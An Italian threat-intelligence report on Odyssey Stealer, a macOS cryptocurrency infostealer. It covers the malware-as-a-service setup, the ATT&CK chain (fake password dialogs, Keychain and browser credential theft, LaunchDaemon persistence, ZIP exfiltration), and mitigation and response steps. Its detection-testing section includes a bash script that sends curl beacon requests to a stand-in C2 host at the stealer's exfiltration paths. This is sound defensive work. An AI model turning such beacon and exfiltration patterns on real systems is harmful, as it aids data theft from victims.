SOC Prime Bias: Medio

13 Feb 2026 16:13

Odyssey Stealer: All’interno di un’operazione di furto di criptovalute su macOS

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Odyssey Stealer: All’interno di un’operazione di furto di criptovalute su macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Odyssey Stealer è un infostealer per macOS focalizzato su portafogli e estensioni di criptovalute. È commercializzato come una piattaforma Malware-as-a-Service dove gli affiliati affittano l’accesso a un C2 centralizzato e un pannello di amministrazione. La consegna si basa tipicamente su un AppleScript offuscato che installa un LaunchDaemon persistente che interroga il C2 per i comandi. L’operatore può anche sostituire le app legittime di Ledger e Trezor con versioni trojanizzate per catturare credenziali e dati di transazione.

Investigazione

I ricercatori hanno identificato il C2 utilizzando tag meta HTML unici, hash del corpo della pagina e un hash favicon condiviso. Hanno mappato dieci host fisici attraverso più cluster ASN, prevalentemente in Europa e nei Paesi Bassi. La dissezione del payload ha rivelato un AppleScript dropper a più stadi, persistenza di LaunchDaemon e un binario proxy SOCKS5 compilato in Go. I dati di configurazione incorporati nel dropper hanno rivelato identificatori di affiliati e ID build.

Mitigazione

Sorvegliare l’attività sospetta di osascript, specialmente stringhe lunghe offuscate, file plist di LaunchDaemon sconosciuti con etichette casuali e richieste POST in uscita agli endpoint “/log”. Attivare allerta per binari avviati da LaunchDaemon e attività SOCKS5 sospette. Verificare la firma del codice per le applicazioni Ledger e Trezor e bloccare i domini e indirizzi IP noti del C2. Addestrare gli utenti a trattare le richieste di password inaspettate e gli “aggiornamenti del portafoglio” come ad alto rischio.

Risposta

Al rilevamento, isolare il sistema, terminare il LaunchDaemon malevolo e rimuovere le applicazioni di portafoglio trojanizzate. Catturare il traffico di rete verso i domini e IP di C2 identificati per l’investigazione, quindi resettare le credenziali di criptovaluta esposte e ruotare le password macOS. Effettuare una revisione forense completa per identificare ulteriori artefatti.

“graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[“<b>Azione</b> – <b>T1566 Phishing</b>: Link malevolo consegnato via email o malvertising<br /><b>Descrizione</b>: L’attaccante ottiene l’accesso iniziale ingannando l’utente a cliccare un link.”] class action_initial_access_phishing action action_user_execution_malicious_link[“<b>Azione</b> – <b>T1204.001 Esecuzione dell’Utente: Link Malevolo</b>: La vittima clicca il link e lancia un AppleScript dropper<br /><b>Descrizione</b>: L’esecuzione del codice avviene dopo l’interazione dell’utente.”] class action_user_execution_malicious_link action action_execution_obfuscation[“<b>Azione</b> – <b>T1027 File o Informazioni Offuscate</b>: Payload di AppleScript offuscato eseguito tramite osascript<br /><b>Descrizione</b>: Nasconde il codice malevolo per sfuggire al rilevamento.”] class action_execution_obfuscation action action_cred_gui_capture[“<b>Azione</b> – <b>T1056.002 Cattura di Input: GUI</b>: Finta finestra di dialogo della password di macOS cattura credenziali amministrative<br /><b>Descrizione</b>: Ruba credenziali attraverso spoofing dell’interfaccia utente.”] class action_cred_gui_capture action action_cred_browser_stores[“<b>Azione</b> – <b>T1555.003 Credenziali dai Browser Web</b>: Estrae cookie, password e dati di portafogli cripto da Chrome, Edge e Firefox<br /><b>Descrizione</b>: Raccoglie credenziali web memorizzate.”] class action_cred_browser_stores action action_cred_keychain[“<b>Azione</b> – <b>T1555.005 Credenziali dai Gestori di Password</b>: Legge le password memorizzate nel Portachiavi macOS<br /><b>Descrizione</b>: Accede ai dati del gestore di password.”] class action_cred_keychain action action_cred_securityd[“<b>Azione</b> – <b>T1555.002 Credenziali dalla Memoria di Securityd</b>: Raccoglie memoria del processo securityd per credenziali<br /><b>Descrizione</b>: Recupera materiale di credenziali dalla memoria del processo.”] class action_cred_securityd action action_priv_esc_valid_accounts[“<b>Azione</b> – <b>T1078 Account Validi</b>: Usa password amministrativa catturata per ottenere diritti elevati<br /><b>Descrizione</b>: Ottiene privilegi superiori con credenziali legittime.”] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[“<b>Azione</b> – <b>T1543.004 Launch Daemon</b>: Installa com.random.plist LaunchDaemon per polling periodico del C2<br /><b>Descrizione</b>: Persiste creando un launch daemon.”] class action_persistence_launchdaemon action action_discovery_browser[“<b>Azione</b> – <b>T1217 Scoperta Informazioni del Browser</b>: Enumera browser installati ed estensioni di portafogli<br /><b>Descrizione</b>: Raccoglie informazioni sull’ambiente di navigazione della vittima.”] class action_discovery_browser action action_collection_archive[“<b>Azione</b> – <b>T1560 Dati Raccolti in Archivio</b>: Comprimi file rubati in un archivio ZIP<br /><b>Descrizione</b>: Imballa dati per l’esfiltrazione.”] class action_collection_archive action action_exfil_automated[“<b>Azione</b> – <b>T1020 Esfiltrazione Automatizzata</b>: Invia l’archivio ZIP all’endpoint /log<br /><b>Descrizione</b>: Invia dati raccolti su HTTP.”] class action_exfil_automated action action_c2_webservice[“<b>Azione</b> – <b>T1102 Servizio Web</b>: Comunica con C2 utilizzando endpoint HTTP GET e POST<br /><b>Descrizione</b>: Utilizza servizi web per comando e controllo.”] class action_c2_webservice action action_c2_dead_drop[“<b>Azione</b> – <b>T1102.001 Dead Drop Resolver</b>: Recupera payload da URL /d/…<br /><b>Descrizione</b>: Utilizza una posizione drop morta per ottenere comandi.”] class action_c2_dead_drop action action_c2_external_proxy[“<b>Azione</b> – <b>T1090.002 Proxy Esterno</b>: Scarica e esegue un proxy SOCKS5 compilato in Go per tunneling del traffico<br /><b>Descrizione</b>: Instrada il traffico C2 attraverso un proxy esterno.”] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|triggers| action_execution_obfuscation action_execution_obfuscation u002du002d>|enables| action_cred_gui_capture action_cred_gui_capture u002du002d>|provides| action_cred_browser_stores action_cred_browser_stores u002du002d>|adds| action_cred_keychain action_cred_keychain u002du002d>|adds| action_cred_securityd action_cred_securityd u002du002d>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|allows| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|enables| action_discovery_browser action_discovery_browser u002du002d>|feeds| action_collection_archive action_collection_archive u002du002d>|prepares| action_exfil_automated action_exfil_automated u002du002d>|uses| action_c2_webservice action_c2_webservice u002du002d>|utilizes| action_c2_dead_drop action_c2_dead_drop u002du002d>|supports| action_c2_external_proxy “

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo del Telemetria & Baseline Pre-volo deve essere passato.

  • Narrativa dell’Attacco & Comandi:
    Un avversario ha distribuito l’Odyssey Stealer su una workstation macOS. Dopo aver compromesso l’utente, il malware inizia un segnale al suo server C2 per scaricare payload aggiuntivi ed esfiltrare i dati raccolti. Il segnale usa il binario curl nativo (binario firmato Apple) per emettere richieste HTTP GET agli endpoint C2 definiti nella regola. L’attaccante sceglie questi specifici percorsi URI perché sono brevi, si fondono con il traffico web tipico e evitano di essere rilevati da soluzioni generiche di filtraggio URL.

    Passaggi:

    1. Risolvere il nome host del C2 (simulato come c2.odyssey.example.com).
    2. Emettere una richiesta GET a /d/aff123456 – imita l’endpoint di esfiltrazione dati con un codice affiliato casuale e un token numerico.
    3. Emettere una richiesta GET a /api/v1/bot/ – simula il battito del cuor del bot-management.
    4. Opzionalmente, inviare una richiesta a /log per emulare il traffico di registrazione interno utilizzato dal malware per la segnalazione di stato.
  • Script di Test di Regressione: Il seguente script bash riproduce esattamente il traffico necessario per attivare la regola di rilevamento.

    #!/usr/bin/env bash
    # Simulazione del beacon C2 di Odyssey Stealer per la convalida del rilevamento
    # Requisiti: curl, proxy di rete configurato come da passaggi pre-volo
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # regolare all'indirizzo del proxy Squid
    
    # Funzione per inviare una richiesta tramite il proxy
    send_request() {
        local path=$1
        echo "[*] Invio della richiesta a https://${C2_HOST}${path} tramite proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Endpoint di esfiltrazione dati (affiliato casuale + cifre)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. Battito del cuore della gestione del bot
    send_request "/api/v1/bot/"
    
    # 3. Endpoint di registrazione opzionale
    send_request "/log"
    
    echo "[+] Simulazione completa. Verificare le allerte nel SIEM."

    Salva lo script come odyssey_beacon.sh, rendilo eseguibile (chmod +x odyssey_beacon.sh) e eseguilo sull’host macOS di test.

  • Comandi di Pulizia: Rimuovere eventuali file temporanei e opzionalmente disabilitare il proxy per l’utente di test.

    # Disabilita le impostazioni del proxy per l'interfaccia Wi-Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Opzionale) Arrestare Squid se è stato avviato solo per questo test
    # brew services stop squid
    echo "Impostazioni del proxy ripristinate e Squid arrestato (se applicabile)."